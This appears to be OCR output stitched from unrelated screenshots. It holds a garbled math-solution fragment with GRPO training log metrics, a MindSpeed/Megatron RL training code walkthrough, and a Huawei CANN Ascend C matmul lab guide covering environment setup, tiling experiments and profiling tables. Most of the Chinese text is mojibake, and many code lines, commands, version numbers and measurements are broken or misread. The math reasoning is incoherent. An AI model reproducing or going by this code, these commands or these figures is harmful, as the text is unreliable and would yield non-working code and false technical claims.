of the complex plane, we’ H use the property of the triangle formed by $f(z)$, and $f(f(z))$. At $f(z)$, the vectors connecting $z$
(f(z))$ are at right angl.
2: This ﬂtuatwun "when examined in terms of ue(tur-« results in the Fuﬂumng condition being met:$z \cdot f(z) + f(z) \cdot f(f(z)) = 8%.Substituting
eld d 2-197 )+(2*2-102 )\cdh 1 a(z*2- $.61 \sqrt{n}+11i%, the equation becomes a polynomial with $m

$ and $ng

(Rul S ing the above equation re: ina an ynomial in m ;nd n. We te: t integer lues of (m, n) to learn this equation's behavior at different points
on the integer spectrum of u z ~{5}+179 z ~{4}+39 z ~{3} 88 z+6561=05% C a n. A solution means that the product of z, f(z), and f(f(z)) is zero, which
in the context m‘ $ and ths vectors between $f(z)$ and $f(f(z))$ are perpendicular.

5 and n = 228, the equation is satisfied, and $z {220} + 11i$. Therefore, in essence, we express $m + n$

timing/ref_onload : ©.2290 | timing/rule_reward 2 / e Z actor/kl loss : 0.0608 | actor/Lr : 1.086000e-66 | s(tur,pg (h
0. actor/pg_less : 8.2510 | actor/ppo_kl ath_17 %] /mean : 0.09 / 9: grpo/score/max : 1.8600 | grpo/score/min : |
se_length/mean : 717.1719 | response_] 1ength,m ponse_Ls in : 8 : 146.7500 | prompt_length/max : 243.8008 | prompt_ WEngth,mm E|
088 | e2e_tp: update tp
( 31] INFC
:31] INFC

31] INFO Solve the following math problem step by step. The last line of your respo ould be of
), A $0% P 3 & $\angle A 0 B=\theta$ $\left(\theta \neq 96*{\circH\right)$ . & $5_{\triz
|§H s“tsn ‘thets$ () . L = k‘ﬂrt‘m}-‘-nn“\ L wEsmwk +mo+ ngafE

ur answer on its n line after "Answer:".
6 6-85-11 ©7:11:31] INFQ A tan

2 11 67:11:31] INFO  Step 1: If we divide the plane where the given curve itusted into 4 equal parts and 1
5"\5&\0 o\ + e the coordinates of two random points chosen inside any given quadrant,
nequality, we h
1 } H\frac{1H2} » {2 right N\left(\frac{1}{2}
{2k frac x_{2}~{21vright)\left(\frac{1H2} y

2b+\frac{1H2} x_{3}

gegslant \sqrt{\left(x_{1}"{2 2H+x_ 2hright { Ty {2} {23
3}$ is the area of tri sngle $0AE$

“sum uF S rl}s and $s AH and ss n area, it must be greater than or equal to $\sqrt{(
3t Nright)$. Is this

llest,setting $m=1$ gi = ble value of $\tan\theta = 2+\sqrt3$
INFO
INFC

compute_verifier_score: verifier start
compute_verifier : verifier end

L8 KB
Bl

(e EM]E%

£79 Ray + Megatron + RLE;X ( GRPO ) HIES.

_grpo.py.
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count” q "$NNODES"

$npu_count NPU r

version_base=

)

generate_config
enable_i

nerate_config.infer expert_parallel size)
_config.is_multimodal)
rl_config.hccl_buffersize)
logger.info(f" i {runtime_env}")
ray.init{runtim

et(train.remote(config))

main REHFHREIE)EZZE, Mmese 7 LA TECE ( Ray FI¥RHAAIEED ) -

® (FF Hydra HECEEIE, EHAM ./configs/grpo_qwen25_7b_A3yaml iEERECE, B
NMEEEZLA Dict iz Ei# main(config) .

® Kith Ray £8f: WIEER¥IIAL Ray, Fii& rl_config.runtime_env_path $§%ERY
runtime_env #ia— A A Ray &8 ( BIEFETE. TEBRE)

® miZ[NillZk: train.remote(config) BEEAM)I Z| Ray BimfEiiT, ray.get [
EEF

train.remote(config):

=72 o=

remote
in(config: Dict[

actor_config,
ref_config,
reward_config,
rl_config,
generate_config,
profiler_config,
msprobe_config
) = parse_training_config(config).values()

ttr(confi

BEERD N 6 N FIR (IR YAML 3‘(1’-“F':PE’JEE§) %)
MindSpore ) ,

&S ( Megatron vs
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parse_trai

Any]) -> Dict[str, Any]:

actor_config
**config.get("
config.get

**config.get("actor config"”

)

rl_config = RLC g(config.get("rl_config"))

if rl conf1g use_integrated _worker:
f conf’

)

ref_config = actor_config

config:

)

reward_config = actor_config

ref (onflg
**config.get("ref config"”

reward_config =
**config.get
config.get('m
)

**config.get("reward config")},

3% parse_training_config, #Ri{EECE use_integrated_worker, 1%#% actor / reference /

reward HFH—1 Megatron {RELHIZRB(FERIERIVEE .

WNRZEBMIA MegatronConfig, AJLARIMSIERIEEN/FH1TEE . ERY,
validate_rl_args &4 actor/ref/reward/rl/generate Z[BIH9FEZS M, tLan TP/PP/CP EiE

EARESE,

train.remote(config):

 rl_config.
integrate

workel g
placement_group=
megatron_config=actor_config,
r1_confi onfig,
generate._ g-generate_config,
model_provider=gpt_model_provider,
profiler_config-profiler_config["integrated”

initializ e alize_megatron,

get_megatron_module-get_megatron_module,

global_batch_size-actor_config.global batch_size * rl_config.n_sample
).initialize()

s_per_prompt

actor_worker = integrated_worker
reference_worker = integrated_worker

actor_wor (

workel
placement gr‘oup

IR A Worker: actor / reference / reward, ( SLISR{ERAIE
use_integrated_worker=True, EPHRREIZ A ) : IntegratedWorker TE—> Megatron iHiE
EERHHIE actor / reference / reward (1BERF/WHESELERE ) o

RayActorGroup XJ—%H Ray Actor BY¥¥3<, fass: JEH initialize_megatron ¥Rt
Megatron ofVIAE . &8, ({L38F; 1% global_batch_size * n_samples_per_prompt
RBEERL/IL

ANER use_integrated_worker=False ( SIEEYHTERE ) ,

il ReferenceWorker: Rf#f reference Fifal,
,U\LIJIﬁ'L'I'

ActorHybridWorker: fazgs“4m +
Te58EEH, BT KL

n
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megatron_config= S _config,
rl_config=rl_config,
generate_config=generate_config,
model_provider=rm_model_provider
tokenizer=tokenizer
initialize_func=initialize megatron,
get_megatron_module=get_megatron_module,

global_batch_size=actor_config.global batch size * rl_config.n samples_per_prompt

(varlable) reward_list: list[Any]

reward_list.append(reward_worker)

actor_config.max_prompt_length = rl_config.max_prompt_length
rule_reward_num_process = get_node_nums()

if rl_config.rule_reward
oup(
onfig.num_cpus_for_local task} for _ in range(rule_reward_num_process

ay.get|(pg.ready()|)

for i in range(rule_reward_num_process)
rule_reward = Ru rd
placement_group=pg,
placement_group_bundle_index=i
).remote()
rule_reward.initialize.remote(
reward_config,
rl_config,
tokenizer,
generate_config.trust_remote_code,
dp_rank=i

WHMERIAIE . Reward 188! / Rule Reward.,

PSR EIREE Eﬁﬁ PromptDataset, 1% data_path + split #3i&i)|

RewardWorker: {#F rm_model_provider #3i&RY Reward Model ( ORM ) GiEitE
reward .

RuleReward: EFHINAYEER (tbaE=X. KE . IENILES ) , #% CPU placement
group oHINEEN, B T=—" RuleReward Actor,

reward_list FR#&%—{&45 RayGRPOTrainer, Xt[E—itt response BILABEZ 4 reward
o

train_ds, _, uild_train_valid_test_datasets(

logger. info('a 1i1t")
actor_worker.wait_all ref_objs_run_over()
consumed_train_samples = actor_worker.get consumed_train_samples()

data_loader
data iters =

BE; AR

train_iters* global batch_size %ﬁﬁ ( PromptDataloader 137 Z4FEFREL. shuffle.
dataset_additional_keys &, g#%R[E]— data_iters) ,

reference_worker.wait_all_ref_objs_run_over()
for reward in reward_list:
if hasattr(reward,
reward.wait_all_ref

trainer = R

trainer.fit(data
logger.info("tra

138 Worker #JiA{L52H, €UiE RayGRPOTrainer A fit(data_iters)i# il .

fit i)

121245 :
EREWE: M data_iters BR—4™ batch A9 prompt, 1% n_samples_per_prompt £l
B




S

REYSIISER TR

49T

B8 3 clip/ KL &

HUAWEI

& HBAHZ=X: i@ transfer_dock.put_experience N prompt_length / prompts /
addltlonal_keys0

® pREMER: actor worker.generate_sequences TE24@1 actor {28 FREESA
response,

® reference fYER: ref worker 1HEHXLE response 1£ reference #EI AT log_probs,
AT KL &I,

® reward MYER: &% reward worker (1&E8Y + #N ) 1+& reward, B[g] transfer_dock .
B E: 1£ driver istRYE rewards / values / KL 118t
( compute_advantage ) , FERIZIERR.

® actor F#: actor_worker.update #147— GRPO #EEH (i@
$4. advantage N0t

o EINEH: &I +1, EHMRTF checkpoint, #TED metrics,

IR Hreagsl

EHTH LY, FEESREIUTSE

actor_config:

finetune: false Qoo

load: ./ckpt-32b P

save: ./ckpt

no_load_optim: false <------- [d=ts
no_load_rng: false <mmmmee- =

rl_config:
integrated_mode_config:
ref_model_load_path:./Qwen2.5-7B-tp4 <-------

IERINEERRTR, it reference model 0k

ETERZ5) IR finetune SEUSEH false
Wre2El)llR load BEIRRINZBIRFRINERRER

5i)|BS no_load_optim FA false
JIES no_load_rng R4 false

W £Ei)IIAT, RZFE ref_model_load_path HECERIA

3 3 7& _LIL,\

rE EEEESZTE:& RLHF 3)II853586, @ITFahsC GRPO. GSPO iItEE, INIRIE:

%zo

1813 MindSpeed 1EZ2

34 BE

EEE—MEEURITEIIERRT, SFTllZAE

A ATEERT, F8Es

&
SCH Qwen #&28Y RLHF SRR S|

##T RLHF?
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SEAG 1 M4E

1.1 LEHE=

KRELWFENBEABRE DHITEFIA, S8&FH Ascend CHITEFHARIBIL,
CATLASS t&E#RLAR PyPTO HTEFFF ..

1.2 SCIGHAY
o EiRE Ascend C BEFFEIBMIEIR.
e 52RK Ascend CHITEFHARIENL, CATLASS #EHRLAK PyPTO HITEFH A

1.3 SLIGIREE NS

seie EiR HE Tig FRFE
CANN: 9.0.0
fiEFd Ascend C python: 3.11.15
bt torch: 2.6.0
BFh | 1, CATLASS o BE5588: Atlas 800T A2
S | ERUR X torch npu
FHA gcc/g++: 11.4.0
cmake: 3.22.1
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Ascend C 8FFHF AR

2.1 SLISNA

2.1.1 EFAELLG

{83 Ascend C EF Matmul Sk API SLEIREIESR AEE, BT 9 MMEHZAINK case B
MNERSCIEIS AR EIBNER, SIREEEMIRAK. Tiling fitt. 2ZFH TS .
MDL #&z{. L1Cache/L2Cache {fift,. E= Tiling. UnitFlag it ESFMIEHTFER.

2.1.2 SLIEMY
E12(EMA Ascend C HHTEFHRERAM -

2.2 SCIGTR(E
2.2.1 B BSLISRIE

L1 LRINBIGE

FIASRITMEAAY CANN hRAZEE Y9 9.0.0.betal, FHEANINTFERR:

| cat /usr/local/Ascend/ascend-toolkit/latest/aarch64-linux/ascend_toolkit_install.info

BRI ThRAS:

x# cat ascend_toolkit_tinstall.info
package_name=Ascend-cann-TtoolKit
version=9.0.0-beta.1
innerversion=\V108REE1C10B634
compatible version=[V186REG1C15],[V10BRE01C1G],[VIBGREG1C20], [VIBEREE1C21], [VIOBREE1C23], [VIBOREE1C1O]
arch=aarch64
os=11inux
path=/usr/local/Ascend/cann-9.0.0-beta. 1

A BRATE CANN #£[X 9.0.0.betal kA, NER CANN WRARTS, &%F (N EEESR )
HITEK
SRIGIEE python iR, TEG<SITHEIA python ZAFEIE:

| python
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HUAWE] CANN BFF&SCIRIES T 12D
) '# python
Python 3.11.15 (main, Mar . _—_.__, cmeeeeamy, o=-C 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

N8R python ARAAILES, IXEELL ubuntu E4 561, TTLMERIN FatiTeest:

sudo apt update
sudo apt install python3.11

HAtRER SRR ap S TR
(ERIITa<, £XETE:

| source /usr/local/Ascend/ascend-toolkit/set_env.sh

FTiREE, FRE.
$IE 2 MBS

TEHRFMKEIR ( ZK gec IR 11.4, cmake A< 3.22.1) :
SERIA gec F1 cmake fRZAR:

gcc --version
cmake --version

fpypto/examples/00_hello_world# gcc --version
gce (Ubuntu 11.4.0-1lubuntul~22.04.3) 11.4.0
Copyright (C) 2821 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITMESS FOR A PARTICULAR PURPOSE.

root@39492f4addba: /mnt /wenzhigiang/pypto/examples /80 _hello world# cmake --version
cmake version 3.22.1

CMake suite maintained and supported by Kitware (kitware.com/cmake).

SNRIRAARLES, (ERIT e ThRAMEN:

wget https://mirrors.nju.edu.cn/gnu/gcc/gcc-11.4.0/gcc-11.4.0.tar.gz

tar -xzf gcc-11.4.0tar.gz

cd gcc-11.4.0

apt update

apt install -y build-essential libgmp-dev libmpfr-dev libmpc-dev flex bison

.Jconfigure --prefix=/opt/gcc-11.4.0 --disable-shared --enable-static --enable-languages=c,c++
make -j$(nproc) ENABLE_SELFTEST=none

make install

echo 'export PATH=/opt/gcc-11.4.0/bin:$PATH' >> ~/.bashrc

echo 'export LD_LIBRARY_PATH=/opt/gcc-11.4.0/lib:/usr/lib/aarch64-linux-
gnu:/usr/local/lib:$LD_LIBRARY_PATH'>> ~/.bashrc

source ~/.bashrc

apt remove -y cmake cmake-data 2>/dev/null

rm -rf /usr/local/bin/cmake /usr/local/bin/cpack /usr/local/bin/ctest
wget https://cmake.org/files/v3.22/cmake-3.22.1-linux-aarch64.tar.gz
tar zxf cmake-3.22.1-linux-aarch64.tar.gz

cp -rf cmake-3.22.1-linux-aarch64/bin/* /usr/local/bin/
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| cp -rf cmake-3.22.1-linux-aarch64/share/* /usr/local/share/

I8 3 %% torch ] torch-npu LUK EfthHERIR

# TEFELE PyTorch 52
wget https://download.pytorch.org/whl/cpu/torch-2.6.0%2Bcpu-cp311-cp311-manylinux_2_28_aarch64.whl
pip3 install torch-2.6.0+cpu-cp311-cp311-manylinux_2_28 aarch64.whl

# TEFH%LE torch_npu 4

wget https://gitcode.com/Ascend/pytorch/releases/download/v7.3.0-pytorch2.6.0/torch_npu-2.6.0.post5-
cp311-cp311-manylinux_2_28 aarch64.whl

pip3 install torch_npu-2.6.0.post5-cp311-cp311-manylinux_2_28_aarch64whl # ZIEIREIREEARZINE
ZLfsEF

pip3 install wheel setuptools --upgrade

pip3install pybind11==3.0.4

pip install expecttest==0.3.0

pip install hypothesis==6.152.7

pip install numpy==244 # ERERBHFRRINEE(ER

pip install pyyam|==6.0.3

pip3 install ml_dtypes==0.5.4 # {=REREEAZINSEEEER

2.2.2 I E N,

LR 1 REUIRBRD

THIBR:

mkdir /mnt/xxx  # BIENABRE

cd /mnt/xxx

wget https://certification-data.obs.cn-north-4.myhuaweicloud.com/CHS/HCIE-
Al%20Developer/V1.0/ops_development.zip

unzip ops_development.zip

cd ops_development

LRMHL:

apt install patch
pip3install pytest==9.0.3
pip3install coverage==7.14.0

{ERE CANN IR1S:

# BOABERZE, LA root R/ (JE root B, ¥§/usr/local EizjI${HOME} )

source /usr/local/Ascend/ascend-toolkit/set_env.sh

LR 2 EFRmFNHIT

HAIMBREZR:

cd asc-devkit
cd ./examples/01_simd_cpp_api/00_introduction/00_quickstart/hello_world_npu # IR IZIBELFRERIER
mkdir -p build && cd build; # BUEFHHEA build BR
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Jdemo

cmake .;make -j;

CANN EFFALIEIES T ENDY
# WELTE

# PATHER

B TRERER, WmFEMRITRIA:

[Block (0/8)]:
[Block {1/8)]:
[Block (2/8)]:
[Block (3/8)]:
[Block (4/8)]:
[Block (5/8)]:
[Block (6/8)]:
[Block (7/8)1:

Hello world!!!
Hello World!!!
Hello world!!!
Hello world!!!
Hello World!!!
Hello world!!!
Hello World!!!
Hello world!!!

Ifasc-devkit/examples/81_simd_cpp_ap1/B8_introduction/B0_quickstart/hello_world_npu/build# ./demo

WRIER.

2.2.3 EFEIL

HF Matmul EF5f1,

SECABIRE/asc-

devkit/examples/01_simd_cpp_api/04_best_practices/01_matrix_compute_practices/matm
ul_high_performance,

BB RE:

F—— matmul_high_performance

L

scripts

}— gen_data.py

/] BANEBIEF R EEIRE A S

i

|

|

| L— verify_resultpy ~ // EHfEIIELTE

| — CMakeLists.txt /] TETRE

| }— data_utilsh /| SHRENG R

| }— matmulh /] ERE1fA case BISLSUFEN

| L— matmulasc // Ascend C #E45ISCER
Matmul EFHEiR

HEAR: C=A*B
o BIVBEEL, AN, FARNIM KI; BN, FACHIK N]

® (FABEZITE, numBlocks=1

REABSE matmul.h 1 matmul.asc, #Z(0ySCIR:

o CHERIREN, TFHUEMERERIVER, FARAIM, N]
- ith
KE MatmulCustom
(OpType )
BN name shape data type format isTrans
a [8192, 8192] float16 ND false
b [8192,8192] floatl6 ND true
i C [8192,8192] float16 ND -
1  BiZERARA (SINGLE_CORE_BASIC)
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o HHTiling A&, baseM=baseN=baseK=64, base RS 5—IEM4TFISSHIE AR,
baseM. baseN. baseK 35{tZFE Matmul i+EHF L0 £ M. N. KIH<E, LIT=ERE
iz,

o =R GM HEINAY A, B 4BF%31% baseMxbaseK. baseKxbaseN SR BH=ZE! L1
F, BM L1 #=ZE LOA/LOB, Cube BBITXIEIXIIZAY base HRFT—IX
baseMxbaseNxbaseK A/\gY Matmul 1+&

KEAE:

tilingApi.SetShape(M, N, K);
tilingApi.SetFixSplit(64, 64, 64);
tilingData.set_baseK(64);

#include "matmul.h®

_global__ _ cube_ void matmul_custom{GM_ADDR a, GM_ADDR b, GM_ADDR bias, GM_ADDR c, GM_ADDR workspace,
GM_ADDR tilingGm)
{
TCubeTiling tiling;
CopyTiling(&tiling, tilingGm);
AscendC::TPipe pipe;
MatmulKernel<half, half, half, half= matmulKernel;
REGIST_MATMUL_OBJ(&pipe, GetSysWorkSpacePtr(), matmulKernel.matmulObj, &tiling);
matmulKernel.Init(a, b, bias, c, tiling);
matmulkernel.Process(&pipe);
1

template <bool isTiling= i : i g
void GenerateTiling_SingleCore(platform_ascendc::PlatformAscendC* ascendcPlatform, uint®_t* tilingBuf)

{
optiling::TCubeTiling tilingData; i
matmul_tiling::MatmulApiTiling tilingApi(*ascendcPlatform);
SetTilingTypes=matmul_tiling: :MatmulApiTiling, isTiling=(tilingApi, tilingData);
if constexpr (!isTiling) {
tilingData.set_bhaseK(64);
Iy
SetLl(tilingData);
uint32_t tcubeTilingSize = tilingData.GetDataSize();
tilingData.SaveToBuffer(tilingBuf, tcubeTilingSize);
I
AS~4 ’—.
FIFHIT:

cd /mnt/xxx/ops_development/asc-devkit

cd ./examples/01_simd_cpp_api/04_best_practices/01_matrix_compute_practices/matmul_high_performance
# BRIRIRSCPREIR B

mkdir -p build && cd build; # BIEFHHA build B

cmake .;make -j; # EREANTIE
python3 ./scripts/gen_data.py # SRt EIRE
Jdemo 0 # Case 0: BaZERARAS

python3 ../scripts/verify_result.py output/outputbin output/golden.bin # IGiFiaH4ER 2 R/IER

Total elements compared: 67108264
Total error elements: @

error ratio: 0.00888, tolerance: 8.8818
test pass!

BEXIELRIN.
PR :

| msprof /demo0  # ##7 SINGLE_CORE_BASIC Kt£8E
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HEIBFE a4 PROF_FIZRAISERE,, mindstudio_profiler_output B R{#F Host #1&%
Device M4EEEURILS., MHEEEURDITMEEEEZBER X4

PROF_xxxx_XXXXXX

—— device {id}

—— host

L—— mindstudio_profiler_log

—— mindstudio_profiler_output  # {R{F Host $1=Z1> Device RIEREEUE LS
|—— msprof_*json
I— XX_*.csv

L — README.txt

J/asc-devkit/examples /01 simd cpp_api/84 best practices/01 matri

deviEe_El host mindstudio profﬂ.er log mindstudic profiler output msprof L.db
FZEEZE mindstudio_profiler_output B TAY op_summary_xxxxxxxxx.csv {5,
studio_proTiler_outpuf# cat op_summary_. I csv

Device_id,Model ID,Task ID,Stream ID,Op Name,OP Type,0P State,Task Type,Task Start Time(us),Task Duration(us),Task wait Time(us),Block Dim,Mix Block Dim,HF32
nput Formats, Output Shapes,Output Data Types,Output Formats,Context ID,aicore_time(us),aic total _cycles,alc_mac_time(us),ailc_mac_ratio,aic_scalar_ t\rre"us\ ai
_ratio,aic_mte2_time(us),aic_mte2_ratio,aic_fixpipe_time(us),aic_fixpipe_ | ratio,aic 1cache miss_rate,aiv_time(us),aiv total cycles aiv_vec twefus‘ ailv_vec_ra
atv rrtez _time(us),ativ nte2 ratio,aiv_mte3 time(us),aiv_mte3 r’atm aiv_icache_miss_rate,cube utlhzatlonf )

8, 4794967295,0,45, lerratrrul custorrPhS S 555, len’atn’ul custon’PhS S_S_S_S_.dynamic,AI_CORE,1775035034424690.045 ,777587.696,08,1,8,N0,N/A, N/A,N/A,NJA,

roothT:!lddeSOaQG fmtmenzhquang/asc “devl k\ta’exanples 4’01 sind cpp ap\fetl best_practices/01_matrix_compute_practices/matmul_high_performance/build/PROF_8E0E0

FEMRLERET

&5 e

Task Duration(us) MESRITHRETE, BFRITHIELA
Block Num ERMEHR (Block )
aicore_time(us) Al CoreMyF19A1T7ETIE
aic_mac_time(ps) CubeitBH £t iviRiTESE)

aic_mac_ratio

aic_scalar_time(us)

aic_scalar_ratio Scalartaiit B2 &

aic_mtel_time(us MTELl (L1¥|LOA/LOBHIZ) B9iRTTESIE]
aic_mtel_ratio MTE1VES{8] s, RIRLIE|LOMUBIIEE
aic_mte2_time(us) MTE2 (GME|L1#IE) B9RiTESIE]

aic_mte2_ratio MTE28984iE] & He, RBRGMEBILINSENREED

aic_fixpipe_time(us) FixPipe (LOCEIGMEIE) MR1TESE

aic_fixpipe_ratio FixPipefSbdigl LEL, REBRGRBREINIATEFRESD
4| —
BT EMERI N R
Task ] . |laic_mac| . aic_scal | . : . aic_mte| . aic_fixpi|aic_fixpi
. Block |aicore_ti ) aic_mac_ : aic_scal |aic_ mte1_t|aic_mte : aic_mte : :
Duration( _time(p ; ar_time | . |2_time( . |pe_tim |pe_rati
Num me(js) ratio ar_ratio |ime(us) 1_ratio 2_ratio
Hs) s) (ps) ps) e(us) |o
777587.7 |1 777571.6 |124664 (0.16 522234 |0.672 |166607.08 |0.214 |595812 |0.766 |35441 |0.046

ot
® BiZI=EHAYE) 777587.7us
o HEEITRIAR aic_mac_ratio {X 16%), ai_core IR, iRBFR LR H1ERE
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IR 2 B Tiling itk (SINGLE_CORE_TILING )
AL B4R: fifk Tiling & base JREH, 1EFBIZIHEER

fOSEHL:

® (FABEZITE, numBlocks=1

® RAMLAY Tiling BtE, baseM=128, baseN=256, baseK=64

o MzEEEE: GM HEINAY A, B %EPE%Z baseMxbaseK. baseKxbaseN SHRKIIHZEE! L1
A, BM L1 #uEE LOA/LOB, Cube BEBJTRIERRIIZAY base HRfT—IX
baseMxbaseNxbaseK X/\gY Matmul 1+&

KEAHT:

tilingApi.SetShape(M, N, K);
tilingApi.SetFixSplit(128, 256, 64);

AL FER:

base HIEIE[RN: case0 H Tiling IR EAY base A9 [baseM, baseN, baseK] = [64,
64, 64], itEIAFELL (EMTEE5FEHIREIHE ) (K. FXIZE) shape BAHIA
=, ERYAEEENAERFNERKR, BITE Cube iITEERARIBIR T, HFRIEUE
S/,

HEIHTREDIT: A fp16 EBIBIENR T, Cube HYTEIT 1 cycle BESSRk 16* 16 *
16 XERINEE . 188 base Hfg[baseM, baseN, baseK] = [128, 256, 64]AF, BILIEHE
AT GM ftbiik 512Byte XIFFRIEIRT, IXRIGRARITEIGTRLL . Cube & cycle #5
(128 * 64 * 256) / (16 * 16 * 16) = 512cycle, iATFITELLSI(128*64 * 2 + 256 * 64 *
2) / 512cycle = 96byte / cycle; & & base R g[baseM, baseN, baseK] = [64, 64, 64]
BF, Cube it cycle #9(64*64 * 64) / (16 * 16 * 16) = 64cycle, ITEIHTFL (64 *
64 * 2 + 64 * 64 * 2) / 64cycle = 256byte / cycle, [128, 256, 64]1f base RFZEHNHTF
ITEILER, EEFTEE, FSENHREEF/)\, S/ EIHHEsE

#EFF base IRIFE: A2/A3 G R LOA KNS LOB K/h—3%, J964KB, LOC K/\Jg
128KB, [baseM, baseN, baseK] = [128, 256, 64]8F, FERAIREFIBREDE, WAL
1A b16 BT, base BfE#E[baseM, baseN, baseK] = [128, 256, 641, HIAZIEZEE! b8
Y, base HRiEFZ[baseM, baseN, baseK] = [128, 256, 128]

11T :

Jdemo 1 # EB#Z Tiling {14
python3 ../scripts/verify_result.py output/outputbin output/golden.bin # I&iFMHERERIEH

Running mode: Single Core Tiling
root@df34d4es50a98: /mnt /wenzhigiang/asc-dev
bin output/golden.bin

Total elements compared: 67108364

Total error elements: @

error ratio: 0.08888, tolerance: 8.8818
test pass!

BEXIELRIN.
tEREDHT:




S

HUAWEI CANN BFFELHIES TR 8157

| msprof /demo 1 # ##7 SINGLE_CORE_TILING Ht48¢

BIEFE Rl R

Task . . laic_mac| . aic scal | | : ) aic_mte| . aic_fixpi|aic_fixpi
. Block |aicore_ti : aic_mac_ _ aic_scal |aic_mte1_t|aic_mte : aic_mte _ :

Duration( _time(p : ar_time . . |2_time( . |pe_tim |pe_rati

Num me(us) ratio ar_ratio |ime(us) 1_ratio 2 ratio

us) s) (1s) pis) e(us) |o

247990.9 |1 247985.5 |83740 [0.338 65376 [0.264 |53448.252 |0.216 192637 |0.777 10983 |0.044

o

® HHLLLEE—, Task Duration  777587.7us B&EZE 247990.9s, B&(E T 529596.8ys,

MEREIRT 3.14 (2
® MTE2 HUEHOEFERT M 595812us [&{EZI 192637us, [&1K 67.67%
o SEibAm: SINSEHITIHE, ROFASZEREAZEAEILE

S 3 2% 2x12 ( MULTI_CORE_SPLIT_2.12)

MBI SINSEFITIHE, BAZGEILSE

ZOSE:

o ZIZFTITE, 1§ 8192x8192 HIAERERI AN HE 24 Mz EFHTHAT

o HRZHEZ: GM NI A, B 5ER%#R baseMxbaseK. baseKxbaseN S HRIKTIHZE L1

1, BM L1 #=ZF) LOA/LOB, Cube BETTRIERRIGZHY base HEIT—X
baseMxbaseNxbaseK X/\gY Matmul 1+&

KRS

tilingApi.SetDim (24);
tilingApi.SetSingleShape (4096, 683, 8192);
tilingApi.SetFixSplit(128, 256, 64);
SetL1(tilingData);

RALFE:
o 1Rl MAM2ER, NJAME 125, singleM=4096, singleN=683, EiR tailN=679
o HERAESE, RELEMAAITESHEEA

11T :

Jdemo 2 # 29 2x12
python3 ../scripts/verify_result.py output/outputbin output/golden.bin # I&iFMHERERIEH

Running mode: Multi Core Split 2 12
root@df34d4e58a93: /mnt/wenzhigiang/asc-de
put/golden.bin

Total elements compared: 67103264

Total error elements: @

error ratic: 9.0880, tolerance: 9.0018
test pass!

tEREHT:

| msprof /demo2 # SIS ZIS 2x12 BIMEAE

BB B REUN R
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'I[')askt_ Block |aicore_ti ai_cfmac aic_mac_ aic}scal aic_scal |aic_mte1_t|aic_mte ;ic{mte aic_mte aicftf_ixpi aicffixtpi
ation Num me(us) |~ ment ratio A ar_ratio [ime(us) 1_ratio | — e 2_ratio Eee o
Hs) s) (ps) Hs) e(ps) |o
23886.24 |24 24920.67 |7118.1 |0.286 6138 |0.246 |4646.69 0.186 |20075 |0.806 [1636.2 |0.066
o
® #HLLZEIE—, Task Duration M 777587.7us BE{EZ! 23886.24us, MERERTF 32.55 1%, £
EHTHREEESRATREEREILE
® aic_mte2_time $EAT 20075us, HEE 80.6%, RAIIEEEIRFHIRER
o SEbAME: HESINRIEKEREI512B%3F, BXM. NigGi8S5%, &
ERISMRACTI D ERRE, 1I—RFHIBLUETST, IESIHERER
TR 4 211049 4x6 ( MULTI_CORE_SPLIT 4 6)

LB SRR

OSEHL:

o ZIZFTITE, 15 8192x8192 FUFERERIAI HE! 24 Mz EFHTHUT

o {IH%KEE: XM, NHISIS, MBME 4R, NG@E6 R

o IR=HEME: GM HMNAY A, B 4B[Fi% baseMxbaseK. baseKxbaseN SHUKAMGEE! L1
&, BM L1 #IEZ LOA/LOB, Cube EBFTIIERRIRIZAY base HRFT—IX
baseMxbaseNxbaseK A/\#J Matmul i+&

K

tilingApi.SetDim (24);
tilingApi.SetSingleShape (2048, 1536, 8192);
tilingApi.SetFixSplit(128, 256, 64);
SetL1(tilingData);

AL FER:

iR E 512B X43%, I8E singleM=2048, singleN=1536, iR tailN=512, 256X
GRrllE S

o EfpEItEAE: EtEINGEHE 2 MZEIRTEEN A FERERIEI—1TEURERT, FEAIatERE
ROPATEIELE, BRI — IR ZIRIpRIRE ST, EittihsazEEs, BTSN
MERES IR EE, BT case2 AR 2x12 BUDHIZERRE, case3 BY 4x6 HizE i hSSFER
B/

o ESIZYINET, NIEFHEHHE 512B JFRIBRT, M. N#HTEI5

IZ{TIIE

J/demo 3 # izt 4x6

python3 ./scripts/verify_result.py output/outputbin output/golden.bin # I&iFHIHERE S IEH
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Running mode: Multi Core Split 4 6
root@df34d4es0a98: /mnt/wenzhigiang/asc-devkit/)
_result.py output/output.bin output/golden.bin
Total elements compared: 67108364

Total error elements: @

error ratio: 0.0888, tolerance: B8.8818

t gqea{

PR

| msprof

Jdemo3 # DIFZZN5D 4x6 RUMEEE

BIEF B RRUN R

Task : . |aic_mac| . aic scal | . : ) aic_ mte| . aic_fixpi|aic_fixpi
; Block |aicore_ti : aic_mac_ j aic_scal |aic_mte1_t|aic_mte ) aic_mte ; :

Duration( _time(p : ar_time oL . |2 time( . |pe_tim |pe_rati

Num me(ps) ratio ar_ratio [ime(ps) 1_ratio 2 ratio

Hs) s) (s) Hs) e(us) |o

16538.09 |24 21944.54 |6978.4 |0.318 5457.2 (0.249 |4454.026 |0.203 (17316 |0.789 |974.89 |0.044

o

® fBtkEIE=, Task Duration M 23886.24 [&EZ! 16538.09us, PEKT 30.76%.,

® aic_mte2_time M 20075us F&{EZ! 17316ps, BEE 13.74%), BEIE 2759us.

® [SLEMfkAE: ZE) aicore FERMNPEE N MTE2, [FEESER L1 ZIRETFINEE, [ERIEL
BIREIEIR, 127 MTE2 KRR

S5  S#{ER MDL &R (MULTI_CORE_MDL )

U Bhr: £ MDLER, S/ L1 SREFIIRE, 7B “X&87 iz, B> MTE2 TR
ZIRE

#OSEEL:

M 24 1ZFHTIHE, 1ID%RIERE L (4x6)

£ MDL &k, [FR “X8~ #HizTise

KEA:

AscendC:Matmul<AscendC:MatmulType<AscendC:TPosition:GM, CubeFormat:ND, AType>,

AscendC:MatmulType<AscendC:TPosition:GM, CubeFormat:ND, BType>,
AscendC:MatmulType<AscendC:TPosition:GM, CubeFormat:ND, CType>,
AscendC:MatmulType<AscendC:TPosition::GM, CubeFormat::ND, BiasType>, CFG_MDL>

matmulObj;
// MDL =ik Bzhfiit, ERXEMRIEINEE

ILFE:

o SHAMDLIEER, XHF “X&7 iz

o AGHMIZ: MTE2 )\ GM ZI| L1 B9IREAEEEBRRMz— N EAR, MEE L1 PEF
Z1MERR, OLIEZE R GM B L1 FIRIZREL . AAAs=H depthA1=4 BFE L1 #k
